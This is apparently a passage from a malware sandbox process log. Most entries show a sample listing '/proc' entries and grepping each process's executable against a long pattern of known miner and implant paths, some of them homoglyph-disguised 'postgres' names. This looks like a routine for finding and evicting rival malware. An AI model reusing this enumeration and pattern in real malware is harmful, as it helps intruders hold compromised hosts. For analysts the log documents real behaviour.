  grep exe
  2⤵
  PID:1077
- /bin/ls
  ls -latrh /proc/71
  2⤵
  PID:1076
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1079
- /bin/grep
  grep exe
  2⤵
  PID:1082
- /bin/ls
  ls -latrh /proc/713
  2⤵
  PID:1081
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1085
- /bin/ls
  ls -latrh /proc/72
  2⤵
  PID:1087
- /bin/grep
  grep exe
  2⤵
  PID:1088
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1090
- /bin/ls
  ls -latrh /proc/73
  2⤵
  PID:1092
- /bin/grep
  grep exe
  2⤵
  PID:1093
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1095
- /bin/ls
  ls -latrh /proc/74
  2⤵
  PID:1097
- /bin/grep
  grep exe
  2⤵
  PID:1098
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1100
- /bin/grep
  grep exe
  2⤵
  PID:1103
- /bin/ls
  ls -latrh /proc/744
  2⤵
  PID:1102
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1105
- /bin/grep
  grep exe
  2⤵
  PID:1108
- /bin/ls
  ls -latrh /proc/746
  2⤵
  PID:1107
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1110
- /bin/grep
  grep exe
  2⤵
  PID:1113
- /bin/ls
  ls -latrh /proc/747
  2⤵
  PID:1112
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1115
- /bin/grep
  grep exe
  2⤵
  PID:1118
- /bin/ls
  ls -latrh /proc/750
  2⤵
  PID:1117
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1120
- /bin/grep
  grep exe
  2⤵
  PID:1123
- /bin/ls
  ls -latrh /proc/76
  2⤵
  PID:1122
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1125
- /bin/grep
  grep exe
  2⤵
  PID:1128
- /bin/ls
  ls -latrh /proc/77
  2⤵
  PID:1127
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1130
- /bin/grep
  grep exe
  2⤵
  PID:1133
- /bin/ls
  ls -latrh /proc/78
  2⤵
  PID:1132
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1135
- /bin/grep
  grep exe
  2⤵
  PID:1138
- /bin/ls
  ls -latrh /proc/79
  2⤵
  PID:1137
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1140
- /bin/grep
  grep exe
  2⤵
  PID:1143
- /bin/ls
  ls -latrh /proc/8
  2⤵
  PID:1142
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1145
- /bin/grep
  grep exe
  2⤵
  PID:1148
- /bin/ls
  ls -latrh /proc/82
  2⤵
  PID:1147
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1150
- /bin/grep
  grep exe
  2⤵
  PID:1153
- /bin/ls
  ls -latrh /proc/9
  2⤵
  PID:1152
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1155
- /bin/grep
  grep exe
  2⤵
  PID:1158
- /bin/ls
  ls -latrh /proc/buddyinfo
  2⤵
  PID:1157
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1160
- /bin/grep
  grep exe
  2⤵
  PID:1163
- /bin/ls
  ls -latrh /proc/bus
  2⤵
  PID:1162
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1165
- /bin/grep
  grep exe
  2⤵
  PID:1168
- /bin/ls
  ls -latrh /proc/cgroups
  2⤵
  PID:1167
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1170
- /bin/grep
  grep exe
  2⤵
  PID:1173
- /bin/ls
  ls -latrh /proc/cmdline
  2⤵
  PID:1172
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1175
- /bin/grep
  grep exe
  2⤵
  PID:1178
- /bin/ls
  ls -latrh /proc/consoles
  2⤵
  PID:1177
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1180
- /bin/grep
  grep exe
  2⤵
  PID:1183
- /bin/ls
  ls -latrh /proc/cpuinfo
  2⤵
  PID:1182
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1185
- /bin/grep
  grep exe
  2⤵
  PID:1188
- /bin/ls
  ls -latrh /proc/crypto
  2⤵
  PID:1187
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1190
- /bin/grep
  grep exe
  2⤵
  PID:1193
- /bin/ls
  ls -latrh /proc/device-tree
  2⤵
  PID:1192
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1195
- /bin/grep
  grep exe
  2⤵
  PID:1198
- /bin/ls
  ls -latrh /proc/devices
  2⤵
  PID:1197
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1200
- /bin/grep
  grep exe
  2⤵
  PID:1203
- /bin/ls
  ls -latrh /proc/diskstats
  2⤵
  PID:1202
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1205
- /bin/grep
  grep exe
  2⤵
  PID:1208
- /bin/ls
  ls -latrh /proc/dma
  2⤵
  PID:1207
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1210
- /bin/grep
  grep exe
  2⤵
  PID:1215
- /bin/ls
  ls -latrh /proc/driver
  2⤵
  PID:1214
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1217
- /bin/grep
  grep exe
  2⤵
  PID:1221
- /bin/ls
  ls -latrh /proc/execdomains
  2⤵
  PID:1220
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1224
- /bin/grep
  grep exe
  2⤵
  PID:1227
- /bin/ls
  ls -latrh /proc/fb
  2⤵
  PID:1226
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1229
- /bin/grep
  grep exe
  2⤵
  PID:1233
- /bin/ls
  ls -latrh /proc/filesystems
  2⤵
  PID:1232
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1236
- /bin/grep
  grep exe
  2⤵
  PID:1239
- /bin/ls
  ls -latrh /proc/fs
  2⤵
  PID:1238
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1243
- /bin/grep
  grep exe
  2⤵
  PID:1246
- /bin/ls
  ls -latrh /proc/interrupts
  2⤵
  PID:1245
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1249
- /bin/grep
  grep exe
  2⤵
  PID:1253
- /bin/ls
  ls -latrh /proc/iomem
  2⤵
  PID:1252
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1255
- /bin/grep
  grep exe
  2⤵
  PID:1258
- /bin/ls
  ls -latrh /proc/ioports
  2⤵
  PID:1257
- /bin/grep
